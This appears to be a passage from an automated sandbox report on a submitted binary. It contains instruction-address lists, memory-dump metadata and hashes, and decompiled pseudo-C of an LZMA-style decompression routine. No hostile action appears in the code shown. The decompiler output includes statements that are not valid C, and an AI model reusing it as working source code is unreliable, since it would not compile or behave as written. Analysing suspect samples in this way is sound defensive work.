								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406c71
0x00406c71
0x00406c75
0x00406d2c
0x00406d2f
0x00406d3b
0x00406c1c
0x00406c1c
0x00406c1f
0x00406f91
0x00406f91
0x00406f94
0x00406f94
0x00406f9a
0x00406fa0
0x00406fa6
0x00406fc0
0x00406fc3
0x00406fc9
0x00406fd4
0x00406fd6
0x00406fa8
0x00406fa8
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fe0
0x00407007
0x00407007
0x0040700d
0x0040700d
0x00000000
0x00406fe2
0x00406fe2
0x00406fe6
0x00407195
0x00000000
0x00407195
0x00406ff2
0x00406ff9
0x00407001
0x00407004
0x00000000
0x00407004
0x00406c7b
0x00406c7f
0x004071c0
0x004071c0
0x004071c3
0x004071c7
0x004071c7
0x00406c85
0x00406c8b
0x00406c8e
0x00406c92
0x00406c95
0x00406c99
0x0040715f
0x004071ab
0x004071b3
0x004071ba
0x004071bc
0x00000000
0x004071bc
0x00406c9f
0x00406ca2
0x00406ca8
0x00406caa
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbd
0x00406cbf
0x00406cbf
0x00406cbf
0x00406cc2
0x00406cc5
0x00406cc8
0x00406ccb
0x00406ccb
0x00406cce
0x00406cd0
0x00406cd0
0x00406cd3
0x00406cd3
0x00406cd3
0x004067a9
0x004067a9
0x004067b2
0x00000000
0x00000000
0x004067b8
0x00000000
0x004067c3
0x00000000
0x00000000
0x004067cc
0x004067cf
0x004067d2
0x004067d6
0x00000000
0x00000000
0x004067dc
0x004067df
0x004067e1
0x004067e2
0x004067e5
0x004067e7
0x004067e8
0x004067ea
0x004067ed
0x004067f2
0x004067f7
0x00406800
0x00406813
0x00406816
0x00406822
0x0040684a
0x0040684c
0x0040685a
0x0040685a
0x0040685e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040684e
0x0040684e
0x00406851
0x00406852
0x00406852
0x00000000
0x0040684e
0x00406828
0x0040682d
0x0040682d
0x00406836
0x0040683e
0x00406841
0x00000000
0x00406847
0x00406847
0x00000000
0x00406847
0x00000000
0x00406864
0x00406864
0x00406868
0x00407114
0x00000000
0x00407114
0x00406871
0x00406881
0x00406884
0x00406887
0x00406887
0x00406887
0x0040688a
0x0040688e
0x00000000
0x00000000
0x00406890
0x00406896
0x004068c0
0x004068c6
0x004068cd
0x00000000
0x004068cd
0x0040689c
0x0040689f
0x004068a4
0x004068a4
0x004068af
0x004068b7
0x004068ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004068ff
0x00406905
0x00406908
0x00406915
0x0040691d
0x00000000
0x00000000
0x004068d4
0x004068d4
0x004068d8
0x00407123
0x00000000
0x00407123
0x004068e4
0x004068ef
0x004068ef
0x004068ef
0x004068f2
0x004068f5
0x004068f8
0x004068fd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406925
0x00406927
0x0040692a
0x0040699b
0x0040699e
0x004069a1
0x004069a8
0x004069b2
0x00000000
0x004069b2
0x0040692c
0x00406930
0x00406933
0x00406935
0x00406938
0x0040693b
0x0040693d
0x00406940
0x00406942
0x00406947
0x0040694a
0x0040694d
0x00406951
0x00406958
0x0040695b
0x00406962
0x00406966
0x0040696e
0x0040696e
0x0040696e
0x00406968
0x00406968
0x00406968
0x0040695d
0x0040695d
0x0040695d
0x00406972
0x00406975
0x00406993
0x00406995
0x00000000
0x00406977
0x00406977
0x0040697a
0x0040697d
0x00406980
0x00406982
0x00406982
0x00406982
0x00406985
0x00406988
0x0040698a
0x0040698b
0x0040698e
0x00000000
0x0040698e
0x00000000
0x00406bc4
0x00406bc8
0x00406be6
0x00406be9
0x00406bf0
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfc
0x00406bff
0x00406c01
0x00406c08
0x00406c09
0x00406c0b
0x00406c0e
0x00406c11
0x00406c14
0x00406c14
0x00406c19
0x00000000
0x00406c19
0x00406bca
0x00406bcd
0x00406bd0
0x00406bda
0x00000000
0x00000000
0x00406c2e
0x00406c32
0x00406c55
0x00406c58
0x00406c5b
0x00406c65
0x00406c34
0x00406c34
0x00406c37
0x00406c3a
0x00406c3d
0x00406c4a
0x00406c4d
0x00406c4d
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ce2
0x00406ce6
0x00406ced
0x00406cf0
0x00406cf3
0x00406cfd
0x00000000
0x00406cfd
0x00406ce8
0x00000000
0x00000000
0x00406d09
0x00406d0d
0x00406d14
0x00406d17
0x00406d1a
0x00406d0f
0x00406d0f
0x00406d0f
0x00406d1d
0x00406d20
0x00406d23
0x00406d23
0x00406d26
0x00406d29
0x00000000
0x00000000
0x00406dc9
0x00406dc9
0x00406dcd
0x0040716b
0x00000000
0x0040716b
0x00406dd3
0x00406dd6
0x00406dd9
0x00406ddd
0x00406de0
0x00406de6
0x00406de8
0x00406de8
0x00406de8
0x00406deb
0x00406dee
0x00000000
0x00000000
0x004069be
0x004069be
0x004069c2
0x0040712f
0x00000000
0x0040712f
0x004069c8
0x004069cb
0x004069ce
0x004069d2
0x004069d5
0x004069db
0x004069dd
0x004069dd
0x004069dd
0x004069e0
0x004069e3
0x004069e3
0x004069e6
0x004069e9
0x00000000
0x00000000
0x004069ef
0x004069f5
0x00000000
0x00000000
0x004069fb
0x004069fb
0x004069ff
0x00406a02
0x00406a05
0x00406a08
0x00406a0b
0x00406a0c
0x00406a0f
0x00406a11
0x00406a17
0x00406a1a
0x00406a1d
0x00406a20
0x00406a23
0x00406a26
0x00406a29
0x00406a45
0x00406a48
0x00406a4b
0x00406a4e
0x00406a55
0x00406a59
0x00406a5b
0x00406a5f
0x00406a2b
0x00406a2b
0x00406a2f
0x00406a37
0x00406a3c
0x00406a3e
0x00406a40
0x00406a40
0x00406a62
0x00406a69
0x00406a6c
0x00000000
0x00406a72
0x00000000
0x00406a72
0x00000000
0x00406a77
0x00406a77
0x00406a7b
0x0040713b
0x00000000
0x0040713b
0x00406a81
0x00406a84
0x00406a87
0x00406a8b
0x00406a8e
0x00406a94
0x00406a96
0x00406a96
0x00406a96
0x00406a99
0x00406a9c
0x00406a9c
0x00406a9c
0x00406aa2
0x00000000
0x00000000
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406ada
0x00406add
0x00406ae0
0x00406ae3
0x00406ae3
0x00406ae6
0x00406aea
0x00406aec
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad5
0x00406ad5
0x00406aef
0x00406af6
0x00406af9
0x00000000
0x00406afb
0x00000000
0x00406afb
0x00406af9
0x00406b00
0x00406b00
0x00406b00
0x00406b00
0x00000000
0x00000000
0x00406b3b
0x00406b3b
0x00406b3f
0x00407147
0x00000000
0x00407147
0x00406b45
0x00406b48
0x00406b4b
0x00406b4f
0x00406b52
0x00406b58
0x00406b5a
0x00406b5a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b66
0x00406b04
0x00406b04
0x00406b07
0x00000000
0x00406b07
0x00406b68
0x00406b68
0x00406b6b
0x00406b6e
0x00406b71
0x00406b74
0x00406b77
0x00406b7a
0x00406b7d
0x00406b80
0x00406b83
0x00406b86
0x00406b9e
0x00406ba1
0x00406ba4
0x00406ba7
0x00406ba7
0x00406baa
0x00406bae
0x00406bb0
0x00406b88
0x00406b88
0x00406b90
0x00406b95
0x00406b97
0x00406b99
0x00406b99
0x00406bb3
0x00406bba
0x00406bbd
0x00000000
0x00406bbf
0x00000000
0x00406bbf
0x00000000
0x00406e4c
0x00406e4c
0x00406e50
0x00407177
0x00000000
0x00407177
0x00406e56
0x00406e59
0x00406e5c
0x00406e60
0x00406e63
0x00406e69
0x00406e6b
0x00406e6b
0x00406e6b
0x00406e6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f5b
0x00406f5f
0x00406f81
0x00406f84
0x00406f8e
0x00000000
0x00406f8e
0x00406f61
0x00406f64
0x00406f68
0x00406f6b
0x00406f6b
0x00406f6e
0x00000000
0x00000000
0x00407018
0x0040701c
0x0040703a
0x0040703a
0x0040703a
0x00407041
0x00407048
0x0040704f
0x0040704f
0x00000000
0x0040704f
0x0040701e
0x00407021
0x00407024
0x00407027
0x0040702e
0x00406f72
0x00406f72
0x00406f75
0x00000000
0x00000000
0x00407109
0x0040710c
0x00000000
0x00000000
0x00406d43
0x00406d45
0x00406d4c
0x00406d4d
0x00406d4f
0x00406d52
0x00000000
0x00000000
0x00406d5a
0x00406d5d
0x00406d60
0x00406d62
0x00406d64
0x00406d64
0x00406d65
0x00406d68
0x00406d6f
0x00406d72
0x00406d80
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00407060
0x00000000
0x00000000
0x00407065
0x00407065
0x00407069
0x004071a1
0x00000000
0x004071a1
0x0040706f
0x00407072
0x00407075
0x00407079
0x0040707c
0x00407082
0x00407084
0x00407084
0x00407084
0x00407087
0x0040708a
0x0040708a
0x0040708a
0x0040708a
0x0040708d
0x0040708d
0x00407091
0x004070f1
0x004070f4
0x004070f9
0x004070fa
0x004070fc
0x004070fe
0x00407101
0x00000000
0x00407101
0x00407093
0x00407099
0x0040709c
0x0040709f
0x004070a2
0x004070a5
0x004070a8
0x004070ab
0x004070ae
0x004070b1
0x004070b4
0x004070cd
0x004070d0
0x004070d3
0x004070d6
0x004070da
0x004070dc
0x004070dc
0x004070dd
0x004070e0
0x004070b6
0x004070b6
0x004070be
0x004070c3
0x004070c5
0x004070c8
0x004070c8
0x004070e3
0x004070ea
0x00000000
0x004070ec
0x00000000
0x004070ec
0x00000000
0x00406d88
0x00406d8b
0x00406dc1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef4
0x00406ef4
0x00406ef7
0x00406ef9
0x00407183
0x00000000
0x00407183
0x00406eff
0x00406f02
0x00000000
0x00000000
0x00406f08
0x00406f0c
0x00406f0f
0x00406f0f
0x00406f0f
0x00000000
0x00406f0f
0x00406d8d
0x00406d8f
0x00406d91
0x00406d93
0x00406d96
0x00406d97
0x00406d99
0x00406d9b
0x00406d9e
0x00406da1
0x00406db7
0x00406dbc
0x00406df4
0x00406df4
0x00406df8
0x00406e24
0x00406e26
0x00406e2d
0x00406e30
0x00406e33
0x00406e33
0x00406e38
0x00406e38
0x00406e3a
0x00406e3d
0x00406e44
0x00406e47
0x00406e74
0x00406e74
0x00406e77
0x00406e7a
0x00406eee
0x00406eee
0x00406eee
0x00000000
0x00406eee
0x00406e7c
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406e8e
0x00406e91
0x00406e94
0x00406e97
0x00406e9a
0x00406e9d
0x00406eb6
0x00406eb8
0x00406ebb
0x00406ebc
0x00406ebf
0x00406ec1
0x00406ec4
0x00406ec6
0x00406ec8
0x00406ecb
0x00406ecd
0x00406ed0
0x00406ed4
0x00406ed6
0x00406ed6
0x00406ed7
0x00406eda
0x00406edd
0x00406e9f
0x00406e9f
0x00406ea7
0x00406eac
0x00406eae
0x00406eb1
0x00406eb1
0x00406ee0
0x00406ee7
0x00406e71
0x00406e71
0x00406e71
0x00406e71
0x00000000
0x00406ee9
0x00000000
0x00406ee9
0x00406ee7
0x00406dfa
0x00406dfd
0x00406dff
0x00406e02
0x00406e05
0x00406e08
0x00406e0a
0x00406e0d
0x00406e10
0x00406e10
0x00406e13
0x00406e13
0x00406e16
0x00406e1d
0x00406df1
0x00406df1
0x00406df1
0x00406df1
0x00000000
0x00406e1f
0x00000000
0x00406e1f
0x00406e1d
0x00406da3
0x00406da6
0x00406da8
0x00406dab
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00407153
0x00000000
0x00407153
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b23
0x00406b26
0x00406b28
0x00406b2b
0x00406b2e
0x00406b31
0x00406b33
0x00406b33
0x00406b33
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f12
0x00406f12
0x00406f12
0x00406f16
0x00000000
0x00000000
0x00406f1c
0x00406f1f
0x00406f22
0x00406f25
0x00406f27
0x00406f27
0x00406f27
0x00406f2a
0x00406f2d
0x00406f30
0x00406f33
0x00406f36
0x00406f39
0x00406f3a
0x00406f3c
0x00406f3c
0x00406f3c
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4b
0x00406f4f
0x00406f51
0x00406f54
0x00000000
0x00406f56
0x00000000
0x00406f56
0x00406f54
0x00407189
0x00000000
0x00000000
0x004067b8

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b03ad86bf6e5db825a161e7c2c9863a2c6e055a2fa0602cea3b48f6a3cf4a0c0
Instruction ID: 7a557209975026f945a3d96698a9d3e809275b90a73cce2131b371529b247a98
Opcode Fuzzy Hash: b03ad86bf6e5db825a161e7c2c9863a2c6e055a2fa0602cea3b48f6a3cf4a0c0
Instruction Fuzzy Hash: 0F813471D04228CFDF24CFA8C884BADBBB1FB44305F25816AD456BB281C778A996DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406776 Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406776(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M004071C8))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc("true", 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12);
							}
							_t537 = GlobalAlloc("true", _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
